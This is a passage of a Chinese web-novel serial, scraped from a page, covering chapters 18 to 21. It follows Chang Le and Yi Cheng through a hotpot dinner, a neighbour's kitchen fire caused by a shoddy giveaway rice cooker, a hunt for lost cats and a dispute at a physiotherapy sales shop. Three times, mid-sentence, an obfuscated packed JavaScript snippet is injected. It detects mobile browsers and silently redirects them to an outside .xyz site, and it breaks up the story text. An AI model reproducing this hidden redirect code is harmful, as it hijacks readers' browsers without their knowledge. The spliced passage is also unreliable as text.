常乐回瞪他一眼。 看什么看?就算这两次是我记错了,但是你把我铲飞那次,没有任何洗白的余地。 常乐干笑两声:“俊臻哥,你记性真好,这点小事都能记这么久,我早就忘了,哈哈哈……” 三人的聊天在尴尬中结束。 幸好,翠姨又扯起了新话题:“对了常乐,你姥爷是不是有个抖音号啊?我刷到他的视频了,初恋女友要办八十大寿那个。” 常乐脸色微窘,低头挠了挠耳根。 取标题的时候只想着怎么夸张怎么来,没想到,被熟人刷到还是挺羞耻的。 “林老头也在玩抖音?”旁边有个大爷挺感兴趣,掏出手机,“叫什么名字?我找找。” 翠姨记不太清:“好像叫什么、什么林教主……” 常乐哭笑不得:“林、教、头。全称是‘退休的林教头’。” 易诚和周俊臻也掏出手机,在抖音上输入这个名字—— “没有啊。”易诚摇摇头,“没找到你姥爷。” 周俊臻蹙起眉:“我这儿也没有。” “是吗?”常乐疑惑地掏出手机。难道姥爷改名字了?还是因为内容过于奇葩被销号了?不至于吧,抖音上的奇葩还少吗? 常乐点进自己的关注列表,从上往下划,还真没找到林教头的名字。 再从下往上,一个个对比,终于发现一个陌生而可疑的昵称——“苏太强”。 点进去一看,果然是姥爷。 “扑哧——”常乐憋不住笑了。 之前还信誓旦旦说自己是有底线的,眼见这两天热度下降,播放量大不如前,就暗戳戳地把昵称给改了。 看来姥爷的底线也是弹性的,为了流量可以一降再降。以后穿女仆装、跳女团舞什么的,也指日可待了。 “可能是我记错了。”常乐收起手机,一脸淡定地说,“等我回去问问他吧。” 见翠姨张了张嘴,似乎还要再问什么,常乐抢先说:“我还有点事,就先走了。” 她冲易诚使了个眼色。 易诚也冲翠姨点点头,又对周俊臻说:“改天再聊。” 终于逃离八卦中心,常乐和易诚不约而同地长舒一口气。 常乐要去的火锅店在老街,开车难,停车更难,所以两人叫了辆出租。 到那儿已经五点半了,门口三三两两地坐了几拨人。 常乐第一时间取了个号,前面只有五桌,还好。 两人取了几样小食和饮料,坐在门口等着叫号。 常乐一边嗑瓜子,一边低头研究菜单。在发现这件店除了火锅还有炒菜后,她向易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588626|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚提议:“要不我们点几个菜,你打包带回去给易叔叔吃?” 易诚淡淡一笑:“不用了,他在邻居家吃。” 怕常乐不明白,他解释道:“隔壁的王大妈跟我爸以前是同事,她经常喊我们去她家吃饭。有时候我要上课,或者有事出门,就会拜托她照顾一下我爸。算上伙食费,每个月给她三千块钱。” 常乐沉默片刻,收起菜单,抬眼望着易诚,说:“其实我有件事,一直想问你。” 易诚眉眼低垂,与她目光相接。 “你问吧。” “我觉得……”常乐移开视线,盯着手里的菜单,尽量用随意的口吻说,“你爸虽然需要人贴身照顾,但是你可以请一个护工啊,或者把他送到疗养院。为什么要辞掉工作,自己回来照顾呢?” 她记得,易诚大学学的是计算机专业,毕业后虽然没进大厂,但也在大城市找了份不错的工作。 抛弃大好的前途,回到这个小城市,不可惜吗? 易诚仰起头,像是在观察火锅店的招牌,又像是在思索。 常乐重新打开菜单,说:“你要是不想说就算了,我就是随便问问。” “不,我只是在想,该怎么回答。” 易诚收回视线,重新看向她。 “这要从我大四那年说起。” 大四下学期,易诚收到了一家科技公司的offer,易志刚很高兴,决定把多年的积蓄取出来,给易诚买辆车。 他四处打听该买什么车好,结果,有个所谓的朋友盯上了他这笔钱,跟一个玉石贩子合伙设了个局,诱骗他拿出所有积蓄,买了块玉石。 “十六万八,就买了块石头。”易诚摇摇头,笑容苦涩,“我听到这事都崩溃了,让他赶紧去报警,他却像走火入魔了一样,跟我说这块石头里能开出什么祖母绿。到时候不仅能给我买辆好车,还能全款买套房,我就没有后顾之忧了。” 常乐:好熟悉剧情啊…… 电光火石间,她忽然想起玉石店老板曾跟她讲过的故事:有个男人,买了块石头,切出来只有一点点玉,他出门后,就一头栽倒在地上…… 故事的主角,竟是易叔叔! “这是他第一次发病。幸好送医及时,才抢救了回来。” “那后来呢?那个骗子抓住了吗?” 易诚点点头:“我从学校赶回来,一边在医院照顾他,一边搜集证据报警,大概过了半年,案子才结束,追回了小十万。剩下的都被骗子们挥霍了。” 常乐长吁一口气:“也算是不幸中的万幸了。” 想想她自己,还有一万的工资,不知道何时能追回来呢。 易诚继续说:“一开始,我请了个护工照顾他,每天做饭、帮他擦洗、带他去做康复治疗,每个月四千,治疗加医药费三千多。说实话,光靠我的实习工资,不太够……就这么熬了几个月,眼看我就要转正了,家里突然传来消息,说我爸又发病了。” 常乐心头仿佛有块巨石,压得她喘不过气。 她有点后悔,不该在毫无心理准备的时候,聊起这么沉重的话题。 “所以,我就辞职了。”易诚耸耸肩,脸上的表情很平静,“一方面是为了省掉护工的费用,另一方面,我也很自责。我常常在想,如果我一毕业就回来照顾他,也许他就不会二次发病了。如果我平时对他多点关心,也许他就不会被骗钱了。” “你别这么想……”常乐没经历过这种事,不知道该怎么开导他,只能尽力安慰,“我觉得,易叔叔肯定不想耽误你的前程。” “我也纠结过,一边是工作,一边是亲人,到底该怎么选?” 某个深夜,易诚忽然惊醒。他发现自己不知何时起,已经被这个残酷的社会异化了。 他在这世上唯一的亲人,也是世界上最爱他的人,现在身患重病,也许所剩时日不多,而他居然还在权衡利弊、计较得失。 他为什么会变得这么冷血? 工作有那么重要吗?前途有那么重要吗? 他还年轻,人生路还很长,为什么不能空出这几年,陪父亲走完人生的最后一程呢? 19. 19 “A15,A15在吗——” 一道高亮的嗓音,将易诚的思绪拉回现实。 “这儿呢!”常乐急忙举起手,催促易诚起身。 跟着服务员进店时,她还顺手从门口的吧台上捞了一把瓜子。 两人被带到中间的一处卡座坐下。 易诚正要拿菜单,常乐提醒道:“这家店有团购,双人餐才129,就买这个吧。” 易诚忍不住笑了:“请你吃饭还团购,这不显得我太没诚意了吗?” 常乐不以为意:“又不是相亲,这么讲究干什么?该省省该花花呗。” “还是点菜吧。”易诚摊开菜单,递到常乐面前,“想吃什么可以自己选。” 常乐不耐烦地“啧”了一声,“就听我的,买套餐。你不买我买了啊,你把钱转我就行。” “哎你——”易诚无可奈何,只好掏出手机,“算了算了,我买吧。” 店内闷热,两人没坐多久,额上就泛起一层薄汗。 易诚脱下羽绒服,只穿着一件黑色连帽卫衣,露出白净的脖子,看上去清清爽爽。 常乐也想脱下外套。拉链拉到一半,她才突然想起,里面穿的是一件紫色牡丹花纹的保暖内衣,跟她姥姥穿的是同款—— 这还是前几天逛街时,林文娟为了凑够三件六折的优惠,强行给她买的。 常乐尴尬地拉上了拉链。 “怎么了?”易诚注意到她的脸色,关切地问。 “……没什么。”常乐端起茶杯一口饮尽,懊恼自语,“早知道就穿件体面点的打底衫了。” 易诚若有所思。随后,他双手揪住卫衣的衣摆,往上一掀,里面的T恤也被带起,露出一截白皙的腹部。 轮廓清晰,瘦而不柴,甚至还有格状的起伏。 常乐瞳孔骤然放大,嘴巴呆呆地张开,又赶紧合上。 易诚脱下卫衣,往下扯了扯T恤,又捋了捋乱蓬蓬的头发。 常乐心虚地挪开视线。 易诚把卫衣递给她,“穿我的吧。” 常乐挠挠鼻尖,没接,“那多不好意思。” “没事儿,我里面还穿了T恤。” 易诚站起身,把衣服塞到常乐怀里,转身去餐台取小料。 他的背影刚在拐角处消失,常乐就飞快地脱下羽绒服,手忙脚乱地套上他的卫衣。 衣服穿在身上松松垮垮的,袖子需要挽两道才能露出手腕。不过味道还挺好闻,像春天的香樟树。 还带着余温,熨帖着她的胸口,连带着心脏,都融进了这片暖意中。 没过多久,易诚就端着小料回来了。他的视线落在常乐身上,牵唇笑了下,没有发表意见。 常乐故作镇定地嗑着瓜子。 幸好此时,服务员端来热气腾腾的鸳鸯锅,菜品也一一上桌,摆放整齐。 在等待锅底烧开时,易诚又聊回了刚刚的话题:“对了,你为什么突然问我过去的事?” 常乐把桌上的瓜子壳拢到手心,扔进垃圾桶。 “因为啊,”她拍了拍手上的灰,不紧不慢地说,“我现在也有同样的困扰,到底该去大城市打拼,还是待在老家安度余生。说实话,我挺纠结的。” 易诚摇摇头,“我们俩的情况不一样。” 常乐说:“其实本质上都一样。你辞职回家,虽然是形势所迫,但也是你主动选择的。你肯定也纠结过吧?” 锅底终于烧开了,红油翻滚,香辣扑鼻。 常乐往锅里涮了几片羊肉,慢悠悠地说:“我在上大学前,也对大城市充满了向往,以为自己一毕业,就能成为一个白领丽人,在高档写字楼里上班,下班后回到漂亮的公寓,还有一柜子精致的衣服。后来发现——”她嗤一声,夹起涮好的羊肉,“全是幻想。” 她一边嚼着羊肉一边吐槽:“大城市的好,跟我有什么关系?我只是个租着便宜公寓、吃着垃圾外卖、上着毫无前途的班的底层打工人。 “都说大城市机会多,可我完全看不到我的机会在哪儿。在BOSS直骗上?还是在前程堪忧上?都说大城市很自由,可我天天起早贪黑地上班,连单休都是奢望,这也叫自由? “还有的说大城市热闹繁华,我每个月除去房租吃饭和交通,只剩下一千多,繁华和热闹,我只能看看,根本消费不起。” 易诚蹙着眉,注视着她,眼里有几分不解。 “你都想得这么明白了,为什么还会纠结呢?” “我就是……”常乐垂下眼帘,眸色黯了下来,“有一点不甘心。” 易诚一时无言。 “你呢?”常乐从锅里夹起一只牛肉丸,反问道,“你会不甘心吗?” 易诚勉强笑了下,没说话。 就在这时,隔壁桌突然传来一道刺耳的女声:“要我说,教师小区里全是一群穷逼!” 常乐吓得手一抖,丸子飞了出去,蹦蹦跶跶地滚回了锅里。 谁啊?嘴这么臭,还扫射一大片,连带着他们都被攻击了。 两人不约而同地转过头。 隔壁桌坐了四、五个年轻的男男女女,桌上摆着一堆啤酒瓶。 其中一个短发女孩大概是喝嗨了,用筷子敲打着锅边,继续大放厥词:“当过销售的都知道,老师这个群体是最难伺候的,又穷又抠事儿又多,踏马的……” 常乐和易诚面面相觑。 这不是门口理疗店那个小杨吗? 幸好两桌之间隔着挡板,需要伸长脖子才能看到对面。而隔壁桌聊得正欢,没人注意到他们。 常乐缩起脑袋,躲在挡板后,调侃易诚:“哟,这不是你那个干妹妹吗?” 易诚撑着手肘,挡住自己的侧脸,小声说:“别瞎说,我可不认。” 又听见小杨在高声嚷嚷:“我到这家店都一个多月了,才卖出去八台!整个小区有一千多号人啊,就八个人舍得掏钱,你说他们是不是抠逼?亏我还认了十多个干爹干妈呢,天天鞍前马后地伺候他们,给他们擦屎端尿……” 常乐听得又气又好笑。她小声问易诚:“她还给你爸擦屎端尿?” 易诚脸涨得通红,辩解道:“没有的事,她瞎说的!” 同桌有个小伙子恭维道:“杨姐,这个战绩相当可以了,一台提成三千多呢,你可以过个好年了。” 一个女孩附和道:“对啊,已经很好了。你看看我,上个月才开了两单。” “小林啊,”小杨的声音再度响起,“不是我说你,你们店就在棕榈湾门口,里面住的全是有钱的老板,要是让我去,那不是分分钟拿下?” 小伙子打趣道:“是拿下订单还是拿下客户啊?” 桌上爆发一阵哄笑。 常乐对着火锅翻了个白眼。 易诚夹起那只成功逃窜的丸子,放到常乐碗里,轻声劝道:“吃吧,别管他们了。” 常乐忿忿不平:“可是她说我们是穷波一!” 她有家教,那个字她说不出口。 易诚淡淡地说:“有些人为了赚钱,什么话都说得出口,别跟他们打交道就行了。” 常乐想起初见小杨时她热情的笑脸,后来几次在小区门口偶遇,她都会主动招呼,嘘寒问暖。还有上次,她免费送来一套电疗仪,离开时还把家里的垃圾给带走了…… 真是知人知面不知心。 常乐问易诚:“对了,她有没有往你家送电疗仪?” “送过,说是免费使用半个月。”易诚也有些困惑,“不知道她要干嘛。” 常乐咬牙切齿道:“她怎么会这么好心?肯定有诈!” 易诚端起盘子,往锅里下蘑菇,劝道:“你不掏钱,她还能硬抢吗?别担心了。” 隔壁桌吃得差不多了,几个年轻人推搡着桌椅,摇摇晃晃地起身。 常乐也腾地站起身。 “哎,你要干嘛?”易诚伸手想拉住她。 常乐没搭理他。她转头看向隔壁那伙人,正好与小杨打个照面。 小杨一愣,醉意朦胧的眼里恢复了些许理智,眉头微蹙,似乎在记忆库里搜索眼前这张脸。 “小杨,好巧啊。”常乐大声跟她打招呼,“你今天没去店里啊?” 小杨敷衍地“嗯嗯”两声,仍没想起她是谁。 常乐一把揪住易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594660|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚的衣领,把他提了起来。 易诚尴尬地左看右看,最后勉强挤出一个笑,跟小杨打了声招呼。 这下,小杨彻底认出他们了。 在短短的几秒内,她的表情可谓精彩纷呈,从惊愕、到尴尬、到懊悔,到镇定自若。 很快,她露出招牌笑容,热情地说:“呀,是你们啊!你们什么时候来的?” 脸皮真厚啊。 常乐心中暗骂,脸上却笑眯眯的:“来了有一会儿了。要不是听到你在大骂教师小区,我还没认出你呢。” “呃,我刚刚……”再厚的脸皮也撑不住了,小杨开始结巴,“我喝醉了,说了太多话,我自己也记不住了……” 常乐一脸认真:“没关系,我没喝醉。我都帮你记着啦。需要我复述一遍吗?” 小杨讪笑道:“哈哈哈不用了……对了,我还有事就先走了,你们慢慢吃……” 销冠和她的同伙们落荒而逃。 常乐翻了个白眼,转身坐回原位,夹起碗里的牛肉丸,气咻咻地咬了一口。 从丸子里飙出一道汤汁,全都溅到易诚的脸上了。 “对不起啊!”她连忙道歉。 “没事儿,不烫。”易诚扯了张纸巾,擦了擦脸,语气有些无奈,“解气了吧?” 常乐扬起嘴角,挑挑眉,露出得意的笑。 -- 火锅快吃完时,桌边来了个脸色红润、体型圆润的男人,手里拿着一沓东西,客客气气地问:“两位对我们店的菜品还满意吗?” “不错不错。”常乐和易诚连连点头。 男人又问:“您这边是团购的吗?方便给我们写个好评吗?” 易诚掏出手机,“行,要现在写吗?” “对的。”见易诚开始打字,男人从手里抽出两张票,递到常乐面前,“这是我们店的赠品,您二位这周末有空的话,可以去听听。” 常乐低头一看,脱口秀? 这小地方还有线下脱口秀呢? “是谁讲啊?”她抬起头看向老板。 这一看,可把她吓了一跳。这人竟然有点眼熟。 再仔细一瞧,这不是她的初中同学吗?那个叫什么、什么的…… “常乐?”男人也认出了她,惊喜地说,“我是洪子豪啊!” 常乐终于想起来了:“大红枣!” “对喽!这是我现在的艺名。”洪子豪拍着圆滚滚的肚子,笑呵呵地说。 “艺名?”常乐看了看手里的票,又看看他,恍然大悟,“哦,是你讲脱口秀啊!厉害了厉害了。” “没有没有。”洪子豪谦虚道,“这是个拼盘演出,我就讲二十分钟。” 常乐恭维道:“不错嘛,都成艺人了。” 洪子豪呵呵笑道:“哪里哪里,脱口秀就是我的业余爱好,这家店才是我的主业。” 常乐惊奇道:“哟,都当上大老板了!” “跟朋友合伙开的。”洪子豪大大咧咧地说,“花了不少钱做营销呢,不然生意能这么火?” 常乐:“……” 难怪她觉得这家店味道一般。 “改天我们再叙旧。”洪子豪戳了戳桌上的票,“一定要来啊,就当给我捧捧场。” 常乐扬起手,“好嘞,你先忙去吧,洪老板。” 等洪子豪走后,易诚也写完了好评。 他问常乐:“你同学啊?” 常乐拿起门票,冷哼一声:“嗯,初中同学。” 初中班里那个嘴贱的男同学。 那个当众给她取外号,没几天,自己摔了个狗吃屎的男同学。 没想到在这儿遇见了。常乐不禁感慨,小地方就是好啊,走两步就能遇见熟人。 不管是暗恋对象,还是暗杀对象。 “走吧。”常乐收起门票,拿起羽绒服。 两人走出火锅店。 冷风扑面而来,常乐后知后觉—— 这大红枣也太抠了,都当上大老板了,老同学来捧场,也不说打个折、抹个零什么的。 就送了两张票,还是用好评换的。 真抠。 20. 20 常乐和易诚吃过晚饭,又在老街上溜达了一圈,各自买了杯奶茶,才打道回府。 一阵“呜——呜——”声由远及近,紧接着,一辆红色消防车出现在视野里,一路疾驰,驶进了教师小区。 常乐和易诚大眼瞪小眼。 常乐问:“谁家起火了?” 易诚摇摇头,盯着消防车驶来的方向,等了一会儿,才说:“只有一辆车,情况应该不严重。” 常乐猛吸一口奶茶,说:“走,去看看。” 沿着小区主干道走了一段,远远地看见消防车停在3栋楼下。待两人走近,才发现二楼东侧的一扇小窗被火光映得通红,黑烟腾腾往外冒,不时蹿出一团火苗。 看位置,那里应该是厨房,周围的窗户没有透出火光,应该没有被波及。 楼下有不少居民在围观。大家都仰着头,交头接耳,指指点点,不时唏嘘几声。 常乐突然“欸”了一声,“这好像是孙奶奶家。” 易诚个头高,视线在人群中逡巡一圈,很快锁定目标—— “她在那儿。”他抬起手,提醒常乐,“你姥姥也在。” 常乐踮着脚尖望去,只见姥姥正搂着孙奶奶,手搭在她的肩上轻轻拍着,翠姨和周俊臻也在一旁,不停说着什么,似是在安慰。 一伙消防员扛着灭火设备大步冲上楼,剩下两个负责拉开警戒线,将围观人群驱散到十米开外。 常乐钻进人群中,挤到姥姥身后,光明正大地偷听—— 孙奶奶哭诉道:“哎哟怎么办啊,我家里还有几只猫啊,咪宝、肥宝、花宝、大黑子……” 姥姥安慰道:“没事的没事的,猫聪明得很,肯定从窗台上溜走了。” 孙奶奶继续哭:“我就出去一小会儿,怎么就着火了呢?我家里也没开火啊,到底是什么烧着了?” 翠姨尖声问:“会不会有什么电器没拔?” 孙奶奶回忆片刻,摇了摇头,“不知道啊,我这脑子现在乱哄哄的,实在想不起来……哎唷,也不知道是谁给报的警,咱们小区这么多人呢,一人一盆水还灭不了火吗?” 周俊臻严肃道:“厨房起火很危险的,万一引爆了燃气,危害就大了。专业的事还是得让专业的人来做。” 孙奶奶一时哑然。过了会儿,她担忧地问:“你说这消防车要不要钱啊?” 周俊臻:“……” 几分钟后,火势就得到了控制,黑烟渐渐消散了。又过了十几分钟,消防员陆续扛着设备下楼,在消防车前集合。 其中一个消防员将孙奶奶带到一旁,低头跟她交代了几句。孙奶奶边听边点头,连连道谢。 围观人群慢慢散开了,常乐回头找易诚,见他坐在不远处的花坛边,长腿微敞,手肘搁在膝盖上,优哉游哉地喝着奶茶。 常乐坐在他旁边,吸了一口波霸,边嚼边说:“问题不大。” 易诚:“什么原因引起的?” 常乐:“消防员说还需要调查,我估计,要么是燃气灶没关,要么是电路老化。” 易诚回忆道:“大学的时候,我有个室友用完吹风机没拔插头,结果起火了,把窗帘给烧了,还好发现得及时,没把整个宿舍烧光。”顿了顿,他补了一句,“不过,这事还是被辅导员知道了,我们全宿舍都背了个处分。” “啊?”常乐义愤填膺,“怎么还要株连九族呢?” “一个人用了违规电器,全宿舍都得通报批评,我们校规就是这么规定的。” “……你还真倒霉。” 易诚耸耸肩,“习惯了。” 两人有一搭没一搭地闲聊着。 奶茶快见底时,姥姥扶着孙奶奶从二楼下来,抬眼看到常乐,立马扬手招呼她过来。 常乐赶紧起身,“啥事啊?” 姥姥火急火燎地说:“老孙家的几只猫跑了,你俩眼神好,赶紧去找找。” 易诚跟在常乐身后,接话道:“行,这些猫长什么样?有照片吗?” 姥姥回头看向孙奶奶。 孙奶奶泪眼婆娑地看着他们,哭诉道:“哎哟我的宝啊,他们平时很乖的,肯定是被吓坏了,才跑了出去……” 常乐打断她的絮叨:“孙奶奶,有猫的照片吗?” “照片?”孙奶奶恢复了一丝理智,用纸巾揉了揉眼角,从兜里掏出手机,“我找找啊……” 等了几分钟,她终于找到了,逐一跟他们介绍:“这只白色的是咪宝,它是最胆小的,怎么会乱跑呢?一定是刚才人太多,把它——” 常乐忍无可忍,再次打断道:“这只黄色的是?” “它是肥宝,它平时最喜欢——” “那这只是?” “它叫花宝。”被打断几次后,孙奶奶终于学会抓重点了,“还有这只,是大黑子,以前是流浪猫,经常来我家蹭饭,我就收留了它。” 常乐掏出手机,对着猫咪的合照翻拍了一张。 “行,我俩去找。您先回去休息吧,我找到了给您送过来。” 接下来,常乐和易诚分头行动,开启了黑灯瞎火的找猫之旅。 咪宝最好找。它蜷缩在楼顶的角落里,黑夜中犹如一团白雪,手电筒的光一照,便无处遁形。 肥宝也好找,它匍匐在楼下的灌木丛中,像一块巨大的鹅卵石。 问题是,它体型太大,实在难以搬运。一开始,常乐找了个大号塑料袋,把它塞进去,铆足了劲儿才拎了起来。 结果刚走进楼道,塑料袋就撑裂了,它懒洋洋地躺在地上,翻着肚皮,眼神里散发着一股“既来之则安之”的悠哉。 常乐第一次对一只猫产生了深深的无语。 既然这么懒,那你跑什么呢? 又没到火烧眉毛的地步,真是瞎折腾。 无奈,常乐只得叫来易诚,两人抓住它的四只脚,才将它合力抬进了家门。 花宝是易诚找到的。它跑得最远,差点就出小区了。易诚翻遍了沿途的垃圾桶才找到它。 家里的猫粮不吃,偏偏喜欢啃垃圾桶里的鸡骨头,真是…… 易诚揪住花宝的后颈,将它拎起来,看着它作贼心虚的模样,忍不住想笑。 真是跟常乐一模一样。 至于大黑子,两人找了几个小时,喉咙都喊哑了,手机都没电了,还是连个影子都没找到。 它仿佛融进了黑夜里。 算了,常乐疲惫地摆摆手,先回去睡觉,明天再说吧。 既然大黑子这么放荡不羁爱自由,就让它多自由一会儿好了。 -- 辛苦了一晚上,常乐本以为能一觉睡到自然醒,结果一大清早又被林文娟冰冷的双手贴到后背给刺激醒了。 常乐在被窝里扭曲蠕动,嗷嗷叫唤:“妈,你是不是疯了?今天又不用上学,起那么早干嘛?” 林文娟拍拍她的屁股:“今天太阳好。” 常乐:So? 林文娟:“今天是腊月二十四,除尘日啊!正好赶上好太阳,我们得把床单被罩都洗了,鞋也得刷一遍。” 常乐睁开死鱼眼,呆呆地盯着天花板。 “发什么愣啊?”林文娟开始掀被子,“赶紧起来!别忘了,做家务是你的工作内容之一。” 冷空气入侵被窝,常乐一骨碌坐起身,紧紧裹住被子,打算顽抗到底。 恰在此时,门开了,姥姥出现在门口。 “乐儿醒了?正好,你把家里的桌子椅子柜子都给擦擦,我老眼昏花,上面落了灰都看不清。” 常乐双目呆滞,心想,既然看不清,那擦与不擦有何区别? 林文娟幸灾乐祸:“看吧,你越拖活儿就越多。” 常乐端坐不动,像一只发呆的粽子。 林文娟又催一遍:“赶紧的,擦桌子还是洗鞋,你自己选。” 事实上,常乐根本没有选择的余地。桌子刚擦到一半,她就被林文娟一个电话喊道楼上,劈头盖脸地训道:“床单都洗好了,怎么还不拿去晾?闷在洗衣机里要发臭了。” 常乐一脸怨气地从洗衣机里抠出皱成一团的床单,大跨步冲到楼顶,找了根空绳子,摊开挂上。 第二次抱着湿被单冲上楼时,常乐才明白林文娟为什么要起这么早——楼顶的绳子已经被各色床单、被罩、棉被占得满满当当的,常乐在被子的迷宫里晕头转向,转了好半天,才找到一处犄角旮旯的位置,将被单挂上。 正要下楼,又接到姥姥的电话:“乐儿啊,柜子擦了没有啊?我刚伸手一摸,怎么还有灰啊?” 常乐举着手机,三步并作两步冲下楼,嚷嚷道:“哪儿有灰?哪儿有灰?” 姥姥站在敞开的衣柜前,手伸进去,轻轻一抚,然后搓了搓手指,“你看,这不是灰吗?” 常乐瞪大眼,“里面也要擦?!” 姥姥:“当然了!大扫除就是要从里到外都打扫一遍啊!” 常乐做了个深呼吸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603537|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “行,我擦!” 她拿起抹布刚要开工,门口又传来林文娟的叫喊:“人呢?晒个被单怎么晒那么半天?” 常乐冲着门口大喊:“我这边还有活儿没干完!” 林文娟:“你快点!卫生间里还有一堆鞋等着刷呢!” 常乐:“……” 这是除尘日吗?不,这是除她日! 这俩奴隶主分明是想借机除掉她,给家里省一份口粮。 哼,她不可能任由黑心奴隶主压榨! 于是,常乐开始磨洋工。她将上班时学会的摸鱼大法,灵活运用到家务活上—— 第一步,慢。 她手拿抹布,左手一个慢动作,右手一个假动作,半个身子钻进柜子里,磨磨蹭蹭,拖拖拉拉,一分钟能干完的活儿,硬是花了六十秒。 第二步,拖。 比如去洗手间涮抹布时,顺道上个厕所。上厕所时,顺道玩一会儿手机……这一拖,十分钟又过去了。 第三步,溜。 楼上的洗衣机正在洗第三桶床单,常乐决定,待会儿她就以楼顶已经占满了、要出门找个新的晾晒架为由,抱着床单跑得远远的,直到天黑才回来。 她正美滋滋地计划着,一道喜庆的铃声乍然响起,随后传来姥姥的声音: “喂,老孙呐……猫找到了吗……自己跑回来了?哦哦那就好……起火原因找到了?啊?不会吧?那你打算怎么办……” 常乐急忙从洗手间里出来。 姥姥对着电话嚷嚷:“要不要我帮忙?行行行,那你自己小心点,不行就报警……” 终于等她挂断电话,常乐一脸急切地看着她。 姥姥以为她在惦记着猫:“大黑子找到了,自己跑回来的。” 常乐:……这是重点嘛? 行吧行吧,总算有了好消息,待会儿跟易诚说一声。 面对她期待的眼神,姥姥却没继续说下去,扭头就钻进了厨房。 “姥姥!”常乐追在她身后,“起火的原因是什么?” 姥姥蹲在地上,从橱柜里搬出一个方形包装盒。 咦?这是…… 做满三十次电疗的奖品?那个电饭煲? “就是它!”姥姥扶着橱柜站起身,发泄地踢了盒子一角,又怕踢坏了,不敢太用力,“老孙昨天用它来炖银耳汤,出门没一会儿就起火了。还说什么高档进口电器,对外售价1299,呸!就是个假冒伪劣产品!” 常乐惊讶之余,又觉得合情合理。 可不是么,贪便宜能有什么好结果? 也只有老人,才会把这种在网上都查不到品牌信息的三无产品当个宝。 常乐问:“这个电饭煲,你打算怎么办?” 用反正是不敢用了,就算不会起火,也会有其他隐患,比如内胆用的是劣质涂料,胶圈用的是劣质塑料…… 卖二手也不太好,毕竟不是什么好东西,她良心上过意不去。 要不卖废品?应该能抵个二十块钱吧? 正琢磨着,林文娟又在二楼呼唤了:“常乐!洗衣机都叫了老半天了,赶紧的!” “来了来了!”常乐急忙向楼上跑去。 不一会儿,她就抱着一大团床单下楼了,正巧,姥姥也抱着电饭煲准备出门。 “我拿去换别的东西。”姥姥说,“米面粮油什么的都行,反正不能白白浪费了。” 常乐急匆匆道:“我跟你一起去。” 两人走在小区里,兴致勃勃地商量着对策—— “姥,别换米,他们家的米不好,有沙子,上次差点把我牙崩碎了。” “那换成纸巾?” “纸巾也不好,薄薄的一层,一擦就破,还不如我从公司带回来的纸呢。” 每次上完厕所,都要花一分钟擦屁股,十分钟洗手,这种痛,常乐不想再体会。 “那换鸡蛋吧。鸡蛋是硬通货,吃不完还能送人,还能卖钱。” “行。”至少,到目前为止,这家店的鸡蛋没吃出什么问题。 姥姥盘算着:“这台电饭煲要1299元,鸡蛋就算他8毛钱一个,你算算,能换多少个鸡蛋?” 常乐:“……” 你想得倒挺美啊。 以她对这帮销售的了解,能给两袋鸡蛋就不错了。 常乐听说,孙奶奶和翠姨已经去店里讨要说法了,所以,她们此行的目的,薅点羊毛是假,火上添油才是真。 21. 21 理疗店的玻璃门外围了一圈人,都在探着脑袋朝里张望,不知道在看什么。 常乐暗叫不好:该不会已经跑路了吧? 拨开围观的人群往里看,店里还有几个熟脸的店员,各种设备仪器也都在。常乐松了一口气。 前公司给她留下的心理阴影太深了。 孙婆婆和翠姨也在店里,两人一手抓一个店员,正情绪激动地说着什么。 常乐推开玻璃门,正要进去,一个店员急忙拦住她:“哎哎不好意思,我们店今天不对外营业。” 姥姥一边把常乐往里推,一边嚷嚷:“进去点儿啊,挤死我了。” 常乐被她一个大力怼了进去,趔趄着撞上了翠姨。 “常乐!”翠姨回头看到她,像找到帮手一般,迫不及待地说:“你是大学生,你来评评理,我们用了他们店送的电饭煲引起了火灾,损失是不是该由他们承担?” 常乐回答得铿锵有力:“对!” “我也不多要,厨房重新装修一下,水电重新搞一下,加上那些烧坏的电器什么的,加在一起五万,不多吧?” 常乐像个专业的捧哏:“不多!” 翠姨越说越激动:“他们还说不能确定起火原因,那消防员都调查清楚了,还能有假吗?”她抬起手,戳着店员的胸口,“你们要是不赔,我就报警!” 常乐和姥姥齐声道:“对,报警!” 一旁的店员伸手挡住常乐和姥姥,不耐烦道:“两位如果没什么事,麻烦先出去好嘛?我们现在很忙,没工夫招待外人。” 常乐挺直腰杆,一脸认真道:“我有事啊,我找小杨。” 听到这话,店员明显松了一口气,扭头冲里屋大喊:“杨姐,找你的。” 过了会儿,小杨出现在门口,看到常乐,瞬间变了脸色。 等她过来时,神色又恢复如常。 “李婆婆,有什么事吗?”她越过常乐,跟姥姥打招呼。 